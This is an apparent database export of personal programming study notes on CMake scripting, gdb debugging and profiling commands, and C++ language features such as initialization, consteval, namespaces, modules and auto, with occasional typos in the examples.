another\n`CMakeListst.txt` file from the api directory to perform steps that are\nspecific to the API part of our application. text txt 2024-07-28 09:46:25.122426 -398 213 Not that many: a script can be as complex as you like or an empty file.\nHowever, it is recommended that you call the `cmake_minimum_required()`\ncommand at the beginning of the script. This command tells CMake which\npolicies should be applied to subsequent commands in this project text txt 2024-07-28 09:46:25.455896 -399 213 When running scripts, CMake won't execute any of the usual stages (such as\nconfiguration or generation), and it won't use the cache. text txt 2024-07-28 09:46:25.476425 -400 214 To use a utility module, we need to call an `include()` command. text txt 2024-07-28 09:46:25.674686 -401 215 To debug with `gdb`, compile with `-g`.\nThis generates *DWARF* information, which is used by the debugger to understand what the program is doing. text txt 2024-07-28 09:46:26.198836 -402 215 gcc -g -o program source.c code txt 2024-07-28 09:46:26.220332 -403 215 Use `-O` to compile with optimizations, but this can adversely affect the debug experience i.e. `-O` and `-g` are orthogonal and independent.\nTo get a reasonable level of performance and a good debug experience, use `-Og`.\nAnd to get an even better debug experience, use `-g3` rather than just `-g`. text txt 2024-07-28 09:46:26.243109 -404 215 gcc -g3 -Og -o program source.c code txt 2024-07-28 09:46:26.263514 -405 215 You can use the readelf utility to look at the debug info. text txt 2024-07-28 09:46:26.285117 -406 216 TUI (Text User Interface) mode allows you to see the context of what you’re debugging! text txt 2024-07-28 09:46:26.772903 -407 216 gdb -tui ./executable code txt 2024-07-28 09:46:26.793873 -408 216 You can also type `layout src` to switch to the TUI mode. text txt 2024-07-28 09:46:26.815005 -409 216 layout src code txt 2024-07-28 09:46:26.836939 -410 216 The shortcut `ctrl–x a` will also start the TUI. text txt 2024-07-28 09:46:26.857756 -411 216 `ctrl+l` to redraw the screen reset in TUI mode. text txt 2024-07-28 09:46:26.878711 -412 217 Press `ctrl-x s` in TUI mode to enable SingleKey mode. In this mode you can\nuse `r` to `run`, `c` to `continue`, `s` for `step`, and `q` to leave\nSingleKey mode, without pressing enter. text txt 2024-07-28 09:46:27.103713 -413 218 `ctrl-x 2` text txt 2024-07-28 09:46:27.28661 -414 219 (gdb) focus src\n(gdb) focus cmd code txt 2024-07-28 09:46:27.570358 -415 220 - `ctrl-p` for previous commands\n- `ctrl-n` for next commands text txt 2024-07-28 09:46:27.817652 -416 222 - `start`: starts debugging session by running program line-by-line.\n- `run`: starts debugging session running program as usual.\nAttaching to a process requires root privileges. text txt 2024-07-28 09:46:28.403045 -417 222 After debugger gets attached to the process, the program will freeze as if it\nis on a breakpoint. text txt 2024-07-28 09:46:28.422917 -418 222 sudo gdb\n(gdb) attach 12345 code txt 2024-07-28 09:46:28.443686 -419 223 (gdb) detach code txt 2024-07-28 09:46:28.779396 -420 223 After detaching, the program will continue its normal flow as there was no\ndebugger attached to it at first place. text txt 2024-07-28 09:46:28.800803 -421 224 `list` displays 10 lines of source code. To see how many lines of source code\nwill be displayed enter `show listsize`. To adjust the lines of source code\ndisplayed enter `set listsize 20`. text txt 2024-07-28 09:46:29.035858 -422 226 1. Hardware watchpoints: `watch foo`\n2. Software watchpoints: `watch $rax`\n3. Location watchpoints: `watch -l foo`\n4. Read-only watchpoint: `rwatch foo`\n5. Access watchpoints: `awatch foo` text txt 2024-07-28 09:46:29.552418 -423 226 (gdb) info breakpoints code txt 2024-07-28 09:46:29.573129 -424 227 (gdb) break 50\n(gdb) break *main\n(gdb) break *main+50\n(gdb) break source.cpp:main+50 code txt 2024-07-28 09:46:29.914561 -425 229 Use `start` to put temporary breakpoint on main and then run the program or\n`starti` to stop at the very first instruction of the program.\n(gdb) rbreak std::sto[ifd] code txt 2024-07-28 09:46:30.334321 -426 230 (gdb) delete 1 code txt 2024-07-28 09:46:30.607485 -427 231 (gdb) condition 3 e == 42\n(gdb) break func(long) if e == 42 code txt 2024-07-28 09:46:30.868126 -428 232 (gdb) break source.cpp:10 if index == 3 code txt 2024-07-28 09:46:31.121578 -429 233 To ignore the next 10000000 times that breakpoint 1 is hit. text txt 2024-07-28 09:46:31.578712 -430 233 (gdb) ignore 1 10000000\n(gdb) info break 1 code txt 2024-07-28 09:46:31.59868 -431 233 breakpoint already hit 1000 times text txt 2024-07-28 09:46:31.618754 -432 233 (gdb) ignore 1 999\n(gdb) run code txt 2024-07-28 09:46:31.639926 -433 234 (gdb) disable code txt 2024-07-28 09:46:31.917949 -434 235 (gdb) enable code txt 2024-07-28 09:46:32.164818 -435 236 (gdb) save breakpoints program.gdb code txt 2024-07-28 09:46:32.439469 -436 237 (gdb) source program.gdb code txt 2024-07-28 09:46:32.750645 -438 238 Note that lines might have been changed during sessions. text txt 2024-07-28 09:46:33.083283 -439 239 `(gdb) watch foo[90].number if bar[90].number == 255` text txt 2024-07-28 09:46:33.310966 -440 240 (gdb) watch -l expression code txt 2024-07-28 09:46:33.700483 -441 240 Convinience variables also work nicely with location watchpoints: text txt 2024-07-28 09:46:33.720151 -442 240 (gdb) print * __errno_location()\n$2 = 0\n(gdb) watch -l $2 code txt 2024-07-28 09:46:33.740552 -443 241 - `continue`: Will resume the execution of the program until it completes.\n- `step`: Executes program one more step. Step might be one line of source\n code or one machine instruction.\n- `next`: Executes program similar to `step`, but it only continues to the\n next line in the current stack frame and will not step into functions. text txt 2024-07-28 09:46:34.071548 -444 242 Display the memory contents at a given address using `x [address]` short for\n`examine`. You can customise the output with an optional format and length\nargument. text txt 2024-07-28 09:46:34.418432 -445 242 (gdb) x/[length][format] [address]\n(gdb) x/2x 0x0ffffffff7c544f0\n(gdb) x/2x $rsp code txt 2024-07-28 09:46:34.439373 -446 243 To get information about the spawned threads: text txt 2024-07-28 09:46:35.001666 -447 243 (gdb) info threads code txt 2024-07-28 09:46:35.022731 -448 243 This will show thread ID, how the OS sees them, and the name the thread was\ngiven by the program. text txt 2024-07-28 09:46:35.042908 -449 243 Stepping through a thread that releases other threads, gets all threads out\nof sync. This can be changed with `set scheduler-locking on`, meaning only\nthe current thread will run. Beware of deadlock through, the thread you're\nrunning might block on a lock held by another not running thread. text txt 2024-07-28 09:46:35.06331 -450 243 A middle ground can be found with `set scheduler-locking step`, which has\nscheduler-locking on when using `step`, but disables it when you use\n`continue`, allowing you to travel between breakpoints without having to\nconstantly switch between the threads. text txt 2024-07-28 09:46:35.083098 -451 244 If you want to examine the backtrace of multiple frames but you're very deep\nin the stack, you can use `backtrace n` to show the n innermost frames.\nSimilarly, you can use `stacktrace -n` to show the n outermost frames. text txt 2024-07-28 09:46:35.476849 -452 244 (gdb) bt full\n(gdb) bt 1\n(gdb) bt -1 code txt 2024-07-28 09:46:35.498639 -453 245 coredumpctl list code txt 2024-07-28 09:46:35.764091 -454 246 coredumpctl dump $PWD/program --output program.core code txt 2024-07-28 09:46:36.020946 -455 247 (gdb) target core program.core code txt 2024-07-28 09:46:36.301844 -456 248 When frame is selected from a core dump, program will be set to the\ncorresponding state. text txt 2024-07-28 09:46:36.604504 -457 248 (gdb) frame 0\n(gdb) p variable_causing_trouble code txt 2024-07-28 09:46:36.624897 -458 249 (gdb) gcore program.core code txt 2024-07-28 09:46:36.883215 -459 250 (gdb) print bag_size code txt 2024-07-28 09:46:37.128823 -460 251 (gdb) whatis random_number code txt 2024-07-28 09:46:37.366319 -461 252 (gdb) set var random_number = 5 code txt 2024-07-28 09:46:37.607325 -462 253 (gdb) shell pwd code txt 2024-07-28 09:46:37.875211 -463 254 If you have commands you want to run every time you debug, or if you want to\ndefinne a function to pretty print a specific data structure, you can put\nthem in `.gdbinit` file on the top project directory, or in your home\ndirectory. text txt 2024-07-28 09:46:38.383458 -464 254 *.gdbinit*\nset logging enabled on code txt 2024-07-28 09:46:38.403832 -465 254 You may need to enable auto-loading for the directory by adding the following line in `~/.config/gdb/gdbinit` file. text txt 2024-07-28 09:46:38.42499 -466 254 set auto-load-safe-path /path/to/dir code txt 2024-07-28 09:46:38.446323 -467 254 You can also enable it for all directories with `set auto-load-safe-path /`. text txt 2024-07-28 09:46:38.465778 -468 255 perf record -o /tmp/perf.data --call-graph dwarf --event instructions,cpu-cycles,cache-misses,branches,branch-misses --aio --sample-cpu code txt 2024-07-28 09:46:38.736678 -469 256 sudo hotspot code txt 2024-07-28 09:46:39.001065 -470 257 g++ -o program source.cpp -std=c++20 code txt 2024-07-28 09:46:39.360787 -471 257 clang++ -o program source.cpp -std=c++20 code txt 2024-07-28 09:46:39.381534 -472 258 Unlike some other languages, the fundamental types (`bool`, `char`, `int`,\n`float`,...) in C++ do not receive special treatment with the following\nexceptions: text txt 2024-07-28 09:46:40.18121 -473 258 - Fundamental types have their semantics defined in the C++ standard.\n- Default initializing a variable of a fundamental type does not perform any\n initialization.\n- Arguments to operators for fundamental types are prvalues. text txt 2024-07-28 09:46:40.201882 -474 258 #include text txt 2024-07-28 09:46:40.222284 -475 258 int v; // left uninitialized text txt 2024-07-28 09:46:40.243502 -476 258 // Only well-defined since C++17\nint x = 1;\n(x = 2) = x; // x == 1 text txt 2024-07-28 09:46:40.263242 -477 258 // right side evalutes: 1 (prvalue)\n// left side evaluates: ref to x (x==2)\n// assignment evaluates: ref to x (x==1) text txt 2024-07-28 09:46:40.28468 -478 258 std::string y = "a";\n(y = "b") = y; // y == "b" text txt 2024-07-28 09:46:40.303948 -479 258 // right side evaluates: ref to y\n// left side evalutes: ref y (y=="b")\n// assignment evaluates: ref to y (y=="b") code txt 2024-07-28 09:46:40.323457 -480 259 #include text txt 2024-07-28 09:46:40.868101 -481 259 int global_number = 42; text txt 2024-07-28 09:46:40.887556 -482 259 int function()\n{\n int local_number = 77;\n return local_number;\n} text txt 2024-07-28 09:46:40.908775 -483 259 int main()\n{\n std::cout << function() << '\\\\n';\n std::cout << global_number << '\\\\n';\n return 0;\n} code txt 2024-07-28 09:46:40.931053 -484 260 - Literal constants\n- Constants defined by `const`\n- Constant expressions defined by `constexpr`\n- Immediate functions marked by `consteval`\n- Enumerations\n- Scoped Enumerations\n- Preprocessor macro `#define` text txt 2024-07-28 09:46:41.305457 -485 261 const double pi = 22.0 / 7; code txt 2024-07-28 09:46:41.547064 -486 262 * direct initialization initializes an object from an explicit set of\n constructor arguments.\n* copy initialization initializes an object from another object.\n* brace initialization prevents narrowing conversion of data types.\n* all elements of list initialization should be of the same type. text txt 2024-07-28 09:46:42.687443 -487 262 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:46:42.709203 -488 262 void func(int const a, int const b, int const c)\n{\n std::cout << a << b << c << '\\\\n';\n} text txt 2024-07-28 09:46:42.731217 -489 262 void func(std::initializer_list const list)\n{\n for (auto const& e: list)\n std::cout << e;\n std::cout << '\\\\n';\n} text txt 2024-07-28 09:46:42.752051 -490 262 int main()\n{\n std::string s1("text"); // direct initialization\n std::string s2 = "text"; // copy initialization\n std::string s3{"text"}; // direct list-initialization\n std::string s4 = {"text"}; // copy list-initialization text txt 2024-07-28 09:46:42.772898 -491 262 std::vector v{1, 2, 3};\n std::map m{{1, "one"}, {2, "two"}}; text txt 2024-07-28 09:46:42.794464 -492 262 func({1, 2, 3}); // call std::initializer_list overload text txt 2024-07-28 09:46:42.815327 -493 262 std::vector v1{4}; // size = 1\n std::vector v2(4); // size = 4 text txt 2024-07-28 09:46:42.836057 -494 262 auto a = {42}; // std::initializer_list\n auto b{42}; // int\n auto c = {4, 2}; //std::initializer_list\n auto d{4, 2}; // error, too many elements code txt 2024-07-28 09:46:42.856724 -495 263 Before C++ direct list initialization deduced as `std::initializer_list`\nbut since C++17 it is as `int`. text txt 2024-07-28 09:46:43.287337 -496 263 auto x { 42 };\n// before C++17: std::initializer_list\n// since C++17: int code txt 2024-07-28 09:46:43.308841 -497 264 Aggregate types can be initialized using special aggregate initialization.\nThis initializes members in their declaration order. Members that are not\nexplicitly initialized and do not have a default member initializer are\ninitialized using empty copy-list-initialization (i.e. `T x={}`). text txt 2024-07-28 09:46:44.264905 -498 264 #include \n#include text txt 2024-07-28 09:46:44.286577 -499 264 struct Data\n{\n int x;\n double y;\n std::string label = "Hello World!"; // only permitted since C++14\n std::vector arr;\n}; text txt 2024-07-28 09:46:44.307937 -500 264 struct X\n{\n int a;\n int b;\n}; text txt 2024-07-28 09:46:44.327795 -501 264 struct Y\n{\n X x;\n X y;\n}; text txt 2024-07-28 09:46:44.35017 -502 264 // Initialization is done in declaration order:\nData a = {10, 2.3};\n// a.x == 10, a.y == 2.3\n// a.label == "Hello World!", a.arr == std::vector{} text txt 2024-07-28 09:46:44.370323 -503 264 // Nested brackets can be omitted:\nY b = { 10, 20, 30 };\n// b.x == {10, 20}, b.y == {30, int{} == 0} code txt 2024-07-28 09:46:44.391909 -504 265 C++20 introduced designated initializers for aggregate initialization. This\nallows for better control over which elements of the aggregate will be\nexplicitly initialized. text txt 2024-07-28 09:46:45.307708 -505 265 #include text txt 2024-07-28 09:46:45.328004 -506 265 struct Data {\n int a;\n double b;\n std::string c;\n}; text txt 2024-07-28 09:46:45.349071 -507 265 Data x = { .b = 2.4 };\n// x == { 0, 2.4, "" } text txt 2024-07-28 09:46:45.369545 -508 265 // Typical use case with default-heavy aggregate:\nstruct Configuration {\n enum class options { enabled, disabled };\n struct Coords { int x; int y; }; text txt 2024-07-28 09:46:45.390553 -509 265 options used_option = options::enabled;\n std::string label = "default label";\n Coords coords = { 10, 20 };\n}; text txt 2024-07-28 09:46:45.411039 -510 265 Configuration config = { .label = "some label" };\n// config == {options::enabled, "some label", {10, 20}}; text txt 2024-07-28 09:46:45.431855 -511 265 // A clunky but functional option for named agruments in C++\nstruct Arg { const std::string& label; int64_t id; };\nvoid some_func(Arg arg) {} text txt 2024-07-28 09:46:45.452174 -512 265 some_func({.label = config.label, .id = 42}); code txt 2024-07-28 09:46:45.473004 -513 266 void do_something(); text txt 2024-07-28 09:46:45.903451 -514 266 int main()\n{\n do_something();\n} text txt 2024-07-28 09:46:45.923765 -515 266 void do_something()\n{\n} code txt 2024-07-28 09:46:45.943087 -516 267 constexpr double get_pi()\n{\n return 22.0 / 7;\n} code txt 2024-07-28 09:46:46.289198 -517 268 consteval double divide(double a, double b)\n{\n return a / b;\n} text txt 2024-07-28 09:46:46.76329 -518 268 consteval double get_pi()\n{\n return divide(22.0, 7); // OK\n} text txt 2024-07-28 09:46:46.783456 -519 268 double dividen{22.0}, divisor{7.0};\ndivide(dividen, divisor); // ERROR: non-const arguments to consteval code txt 2024-07-28 09:46:46.805479 -520 269 C++23 brings `if consteval` conditional statement. text txt 2024-07-28 09:46:47.522905 -521 269 This `if` statement takes no condition but would only evaluate during\nconstant evaluation. Otherwise, the `else` statement is evaluated. text txt 2024-07-28 09:46:47.543252 -522 269 consteval int f(int i) { return i; } text txt 2024-07-28 09:46:47.562905 -523 269 constexpr int g(int i)\n{\n if consteval\n {\n return f(i) + 1; // immediate function context\n }\n else\n {\n return 42;\n }\n} text txt 2024-07-28 09:46:47.584569 -524 269 consteval int h(int i)\n{\n return f(i) + 1; // immediate function context\n} code txt 2024-07-28 09:46:47.605265 -525 270 if (std::is_constant_evaluated())\n{\n /* A */\n}\nelse\n{\n /* B */\n} code txt 2024-07-28 09:46:48.001507 -526 271 - `if consteval` is part of the core language, so no header needed\n- `if consteval` cannot be used wrong, but `is_constant_evaluated()` can: text txt 2024-07-28 09:46:48.369782 -527 271 if constexpr (std::is_constant_evaluated()) { /*A*/ } else { /*B*/ }; code txt 2024-07-28 09:46:48.389926 -528 271 - Within `if consteval` block you can call immediate `consteval` functions. text txt 2024-07-28 09:46:48.409219 -529 272 Besides being a simple smart pointer, `std::unique_ptr` is also an important\nsemantic tool, marking an ownership handoff. text txt 2024-07-28 09:46:49.377355 -530 272 #include text txt 2024-07-28 09:46:49.397182 -531 272 struct Data{}; text txt 2024-07-28 09:46:49.418214 -532 272 // Function returning a unique_ptr handing off ownership to caller.\nstd::unique_ptr producer() { return std::make_unique(); } text txt 2024-07-28 09:46:49.437619 -533 272 // Function accepting a unique_ptr taking over ownership.\nvoid consumer(std::unique_ptr data) {} text txt 2024-07-28 09:46:49.45777 -534 272 // Helps with Single Reponsibility Principle\n// by separating resource management from logic\nstruct Holder {\n Holder() : data_{std::make_unique()} {}\n // implicitly defaulted move constructor && move assignment\n // implicitly deleted copy constructor && copy assignment\nprivate:\n std::unique_ptr data_;\n}; text txt 2024-07-28 09:46:49.47884 -535 272 // shared_ptr has a fast constructor from unique_ptr\nstd::shared_ptr sptr = producer(); text txt 2024-07-28 09:46:49.500137 -536 272 // Even in cases when manual resource management is required,\n// a unique_ptr on the interface might be preferable:\nvoid manual_handler(std::unique_ptr ptr) {\n Data* raw = ptr.release();\n // manual resource management\n} code txt 2024-07-28 09:46:49.520118 -537 273 #include text txt 2024-07-28 09:46:49.982779 -538 273 int main()\n{\n using std::cout;\n using std::endl; text txt 2024-07-28 09:46:50.002303 -539 273 cout << 42 << endl;\n} code txt 2024-07-28 09:46:50.022742 -540 274 Unnamed namespaces as well as all namespaces declared directly or indirectly\nwithin an unnamed namespace have internal linkage, which means that any name\nthat is declared within an unnamed namespace has internal linkage. text txt 2024-07-28 09:46:50.680303 -541 274 namespace\n{\n void f() { } // ::(unique)::f\n} text txt 2024-07-28 09:46:50.701498 -542 274 f(); // OK text txt 2024-07-28 09:46:50.723662 -543 274 namespace A\n{\n void f() { } // A::f\n} text txt 2024-07-28 09:46:50.743666 -544 274 using namespace A; text txt 2024-07-28 09:46:50.76438 -545 274 f(); // Error: ::(unique)::f and A::f both in scope code txt 2024-07-28 09:46:50.785509 -546 275 Prior to C++11, non-type template arguments could not be named with internal\nlinkage, so `static` variables were not allowed.\nVC++ compiler still doesn't support it. text txt 2024-07-28 09:46:51.380161 -548 275 static int Size1 = 10; // internal linkage due static text txt 2024-07-28 09:46:51.422182 -549 275 namespace\n{\n int Size2 = 10; // internal linkage due unnamed namespace\n} text txt 2024-07-28 09:46:51.442891 -550 275 test t1; // error only on VC++\ntest t2; // okay code txt 2024-07-28 09:46:51.462877 -551 276 Members of an inline namespace are treated as if they are members of the\nenclosing namespace. This property is transitive: if a namespace N contains\nan inline namespace M, which in turn contains an inline namespace O, then the\nmembers of O can be used as though they were members of M or N. text txt 2024-07-28 09:46:53.862341 -552 276 Common use cases of inline namespaces are: text txt 2024-07-28 09:46:53.882664 -553 276 * Specialization of a template is required to be done in the same namespace\n where the template was declared.\n* Define the content of the library inside a namespace\n* Define each version of the library or parts of it inside an inner inline\n namespace\n* Use preprocessor macros to enable a particular version of the library text txt 2024-07-28 09:46:53.903544 -554 276 namespace incorrect_implementation\n{\n namespace v1\n {\n template\n int test(T value) { return 1; }\n } text txt 2024-07-28 09:46:53.924456 -555 276 namespace v2\n {\n template\n int test(T value) { return 2; }\n } text txt 2024-07-28 09:46:53.944904 -556 276 #ifndef _lib_version_1\n using namespace v1;\n #endif text txt 2024-07-28 09:46:53.965669 -557 276 #ifndef _lib_version_2\n using namespace v2;\n #endif\n} text txt 2024-07-28 09:46:53.987312 -558 276 namespace broken_client_code\n{\n // okay\n auto x = incorrect_implementation::test(42); text txt 2024-07-28 09:46:54.007879 -559 276 struct foo { int a; }; text txt 2024-07-28 09:46:54.028755 -560 276 // breaks\n namespace incorrect_implementation\n {\n template <>\n int test(foo value) { return value.a; }\n } text txt 2024-07-28 09:46:54.04859 -561 276 // won't compile\n auto y = incorrect_implementation::test(foor{42}); text txt 2024-07-28 09:46:54.06944 -562 276 // library leaks implementation details\n namespace incorrect_implementation\n {\n namespace version_2\n {\n template<>\n int test(foo value) { return value.a; }\n }\n } text txt 2024-07-28 09:46:54.091579 -563 276 // okay, but client needs to be aware of implementation details\n auto y = incorrect_implementation::test(foor{42});\n} text txt 2024-07-28 09:46:54.114198 -564 276 namespace correct_implementation\n{\n #ifndef _lib_version_1\n inline namespace v1\n {\n template\n int test(T value) { return 1; }\n }\n #endif text txt 2024-07-28 09:46:54.135231 -565 276 #ifndef _lib_version_2\n inline namespace v2\n {\n template\n int test(T value) { return 2; }\n }\n #endif\n} text txt 2024-07-28 09:46:54.15647 -566 276 namespace working_client_code\n{\n // okay\n auto x = correct_implementation::test(42); text txt 2024-07-28 09:46:54.177698 -567 276 struct foo { int a; }; text txt 2024-07-28 09:46:54.198585 -568 276 namespace correct_implementation\n {\n template <>\n int test(foo value) { return value.a; }\n } text txt 2024-07-28 09:46:54.219469 -569 276 // okay\n auto y = correct_implementation::test(foor{42});\n} code txt 2024-07-28 09:46:54.239404 -570 277 // before C++17\nnamespace A\n{\n namespace B\n {\n namespace C\n {\n /* ... */\n }\n }\n} text txt 2024-07-28 09:46:54.85892 -571 277 // since C++16\nnamespace A::B::C\n{\n /* ... */\n}; code txt 2024-07-28 09:46:54.87948 -572 278 - Modules are only imported once and the order they're imported in does not matter.\n- Modules do not require splitting interfaces and implementation in different source files, although this is still possible.\n- Modules reduce compilation time. The entities exported from a module are described in a binary file that the compiler can process faster than traditional precompiled headers.\n- Exported files can potentially be used to build integrations with C++ code from other languages. text txt 2024-07-28 09:46:55.138744 -573 279 import std; text txt 2024-07-28 09:46:55.632971 -574 279 int main()\n{\n std::cout << std::format("{}\\\\n", "modules are working");\n} code txt 2024-07-28 09:46:55.653325 -575 279 Headers can also be imported: text txt 2024-07-28 09:46:55.673671 -576 279 import std;\nimport "geometry.hpp" code txt 2024-07-28 09:46:55.693903 -577 280 - The **global module fragment**, introduced with a `module;` statement. This\n part is optional and, if present, may only contain preprocessor directives.\n Everything that is added here is said to belong to the *global module*,\n which is the collection of all the global module fragments and all\n translation units that are not modules. text txt 2024-07-28 09:46:56.092092 -578 280 - The **module declaration**, which is a required statement of the form\n `export module name;`.\n- The **module preamble**, which is optional, and may only contain import\n declarations.\n- The **module purview**, which is the content of the unit, starting with the\n module declaration and extending to the end of the module unit. text txt 2024-07-28 09:46:56.112746 -579 281 Entities can be exported only when: text txt 2024-07-28 09:46:56.422239 -580 281 - have a name\n- have external linkage text txt 2024-07-28 09:46:56.443531 -581 281 Names of namespaces containing export declarations are implicitly exported as\nwell. text txt 2024-07-28 09:46:56.464812 -582 282 - Names with internal linkage or no linkage cannot be exported.\n- An export group must not contain declarations that cannot be exported, e.g.\n `static_assert` or anonymous names.\n- The module declaration must not be the result of macro expansion. text txt 2024-07-28 09:46:56.740033 -583 283 Export a module by creating a **Module Interface Unit (MIU)** that can\ncontain functions, types, constants, and even macros. text txt 2024-07-28 09:46:57.900993 -584 283 module; // global module fragment text txt 2024-07-28 09:46:57.921254 -585 283 #define X\n#include "code.h" text txt 2024-07-28 09:46:57.941471 -586 283 export module geometry; // module declaration text txt 2024-07-28 09:46:57.962919 -587 283 import std; // module preamble text txt 2024-07-28 09:46:57.984943 -588 283 // module purview text txt 2024-07-28 09:46:58.006327 -589 283 export template, T>>\nstruct point\n{\n T x;\n T y;\n}; text txt 2024-07-28 09:46:58.027761 -590 283 export using int_point = point; text txt 2024-07-28 09:46:58.047364 -591 283 export constexpr int_point int_point_zero{0, 0}; text txt 2024-07-28 09:46:58.067856 -592 283 export template\ndouble distance(point const& p1, point const& p2)\n{\n return std::sqrt((p2.x - p1.x) * (p2.x - p1.x) + (p2.y - p1.y) * (p2.y - p1.y));\n} code txt 2024-07-28 09:46:58.089466 -593 283 import std;\nimport geometry; text txt 2024-07-28 09:46:58.111906 -594 283 int main()\n{\n int_point p{3, 4};\n std::cout << distance(int_point_zero, p) << std::endl;\n} code txt 2024-07-28 09:46:58.134035 -595 284 The source code of a module may become large and difficult to maintain.\nMoreover, a module may be composed of logically separate parts. To help with\nscenarios like that, modules support composition from parts called\n**partitions**. text txt 2024-07-28 09:46:58.630847 -596 284 Although module partitions are distinct files, they are not available as\nseparate modules or submodules to translation units using a module. They are\nexported together as a single, aggregated module. text txt 2024-07-28 09:46:58.653004 -597 285 A module unit that is a partition that exports entities is called a **module\ninterface partition**. text txt 2024-07-28 09:47:00.35894 -598 285 Here the `geometry-core.cppm` and `geometry-literals.cppm` are internal partitions. text txt 2024-07-28 09:47:00.380515 -599 285 *geometry-core.cppm*\nexport module geometry:core; text txt 2024-07-28 09:47:00.402003 -600 285 import std.core; text txt 2024-07-28 09:47:00.421713 -601 285 export template, T>>\nstruct point\n{\n T x;\n T y;\n}; code txt 2024-07-28 09:47:00.444865 -602 285 *geometry-literals.cppm*\nexport module geometry.literals; text txt 2024-07-28 09:47:00.465732 -603 285 import std.core; text txt 2024-07-28 09:47:00.48503 -604 285 namespace geometry_literals\n{\n export point operator ""_p(const char* ptr, std::size_t const size)\n {\n int x{}, y{};\n ...\n return {x , y};\n }\n} code txt 2024-07-28 09:47:00.504712 -605 285 In the primary module interface unit, import and then export the partitions\nwith statements of the form `export import :partitionname`. text txt 2024-07-28 09:47:00.524852 -606 285 *geometry.cppm*\nexport module geometry; text txt 2024-07-28 09:47:00.546334 -607 285 export import :core;\nexport import :literals; code txt 2024-07-28 09:47:00.566281 -608 285 The code importing a module composed from multiple partitions only sees the\nmodule as a whole if it was built from a single module unit: text txt 2024-07-28 09:47:00.586687 -609 285 import std.core;\nimport geometry; text txt 2024-07-28 09:47:00.606601 -610 285 int main()\n{\n point p{4, 2}; text txt 2024-07-28 09:47:00.627186 -611 285 {\n using namespace geometry_literals;\n point origin{"0,0"_p};\n }\n} code txt 2024-07-28 09:47:00.647983 -612 286 Apart from *module interface partition*, there could also be internal\npartitions that do not export anything. Such partition unit is called a\n**module implementation partition**. text txt 2024-07-28 09:47:01.687487 -613 286 It is possible to create internal partitions that do not export anything, but\ncontain code that can be used in the same module. text txt 2024-07-28 09:47:01.707675 -614 286 modulename:partitionname;`. text txt 2024-07-28 09:47:01.728647 -615 286 *geometry-details.cppm*\nmodule geometry:details; text txt 2024-07-28 09:47:01.748465 -616 286 import std.core; text txt 2024-07-28 09:47:01.767777 -617 286 std::pair split(char const* ptr, std::size_t const size)\n{\n int x{}, y{};\n ...\n return {x, y};\n} code txt 2024-07-28 09:47:01.788304 -618 286 *geometry-literals.cppm*\nexport module geometry:literals; text txt 2024-07-28 09:47:01.808253 -619 286 import :core;\nimport :details; text txt 2024-07-28 09:47:01.828581 -620 286 namespace geometry_literals\n{\n export point operator ""_p(const char* ptr, std::size_t size)\n {\n auto [x, y] = split(ptr, size);\n return {x, y};\n }\n} code txt 2024-07-28 09:47:01.849217 -621 287 Partitions are division of a module. However, they are not submodules. They\ndo not logically exist outside of the module. There is no concept of a\nsubmodule in the C++ language. text txt 2024-07-28 09:47:03.815119 -622 287 This snippet uses module interface partition and module implementation partition. text txt 2024-07-28 09:47:03.834224 -623 287 *sample-core.cppm*\nexport module sample:core; text txt 2024-07-28 09:47:03.855161 -624 287 export constexpr double fraction{7 / 5}; code txt 2024-07-28 09:47:03.87611 -625 287 *sample-details.cppm*\nmodule sample:details; text txt 2024-07-28 09:47:03.897368 -626 287 import :core; text txt 2024-07-28 09:47:03.918088 -627 287 constexpr double power{fraction * fraction}; code txt 2024-07-28 09:47:03.939792 -628 287 *sample.cppm*\nexport module sample; text txt 2024-07-28 09:47:03.960943 -629 287 export import :core; code txt 2024-07-28 09:47:03.982216 -630 287 *consumer.cpp*\nimport std.core;\nimport sample; text txt 2024-07-28 09:47:04.00139 -631 287 std::cout << power << "\\\\n"; code txt 2024-07-28 09:47:04.022652 -632 287 Next snippet is the same implementation but with modules instead of partitions: text txt 2024-07-28 09:47:04.044701 -633 287 *sample-core.cppm*\nexport module sample.core; text txt 2024-07-28 09:47:04.067462 -634 287 export constexpr double fraction{7 / 5}; code txt 2024-07-28 09:47:04.088412 -635 287 *sample-details.cppm*\nmodule sample.details; text txt 2024-07-28 09:47:04.107738 -636 287 import sample.core; text txt 2024-07-28 09:47:04.127746 -637 287 constexpr double power{fraction * fraction}; code txt 2024-07-28 09:47:04.148403 -638 287 *sample.cppm*\nexport module sample; text txt 2024-07-28 09:47:04.168728 -639 287 export import sample.core; code txt 2024-07-28 09:47:04.188548 -640 287 *consumer.cpp*\nimport std.core;\nimport sample; text txt 2024-07-28 09:47:04.209786 -641 287 std::cout << power << "\\\\n"; code txt 2024-07-28 09:47:04.230242 -642 287 So far, we have two modules: `sample.core` and `sample`. Here `sample`\nimports and then re-exports the entire content of `sample.core`. Because of\nthis, the core in the `consumer.cpp` does not need to change. By solely\nimporting the `sample` module, we get access to the content of the\n`sample.core` module. text txt 2024-07-28 09:47:04.251552 -643 287 However, if we do not define the `sample` module anymore, then we need to explicitly import `sample.core` module: text txt 2024-07-28 09:47:04.272721 -644 287 *consumer.cpp*\nimport std.core;\nimport sample.core; text txt 2024-07-28 09:47:04.294419 -645 287 std::cout << power << "\\\\n"; code txt 2024-07-28 09:47:04.316856 -646 287 Choosing between using partitions or multiple modules for componentizing your\nsource code should depend on the particularities of your project. If you use\nmultiple smaller modules, you provide better granularity for imports. This\ncan be important if you're developing a large library because users should\nonly import things they use. text txt 2024-07-28 09:47:04.337692 -647 288 Benefits of using `auto`: text txt 2024-07-28 09:47:05.591579 -648 288 * It is not possible to leave a variable uninitialized with `auto`.\n* It prevents narrowing conversion of data types. (?)\n* It makes generic programming easy.\n* It can be used where we don't care about types. text txt 2024-07-28 09:47:05.6121 -649 288 Preconditions of using `auto`: text txt 2024-07-28 09:47:05.633075 -650 288 * `auto` does not retain cv-ref qualifiers.\n* `auto` cannot be used for non-movable objects.\n* `auto` cannot be used for multi-word types like long long. text txt 2024-07-28 09:47:05.654222 -651 288 #include \n#include \n#include text txt 2024-07-28 09:47:05.676004 -652 288 int main()\n{\n auto i = 42; // int\n auto d = 42.5; // double\n auto c = "text"; // char const*\n auto z = {1, 2, 3}; // std::initializer_list text txt 2024-07-28 09:47:05.697171 -653 288 auto b = new char[10]{0}; // char*\n auto s = std::string{"text"}; // std::string\n auto v = std::vector{1, 2, 3}; // std::vector\n auto p = std::make_shared(42); // std::shared_ptr text txt 2024-07-28 09:47:05.717819 -1999 592 void task() { } text txt 2024-07-28 09:50:42.953188 -654 288 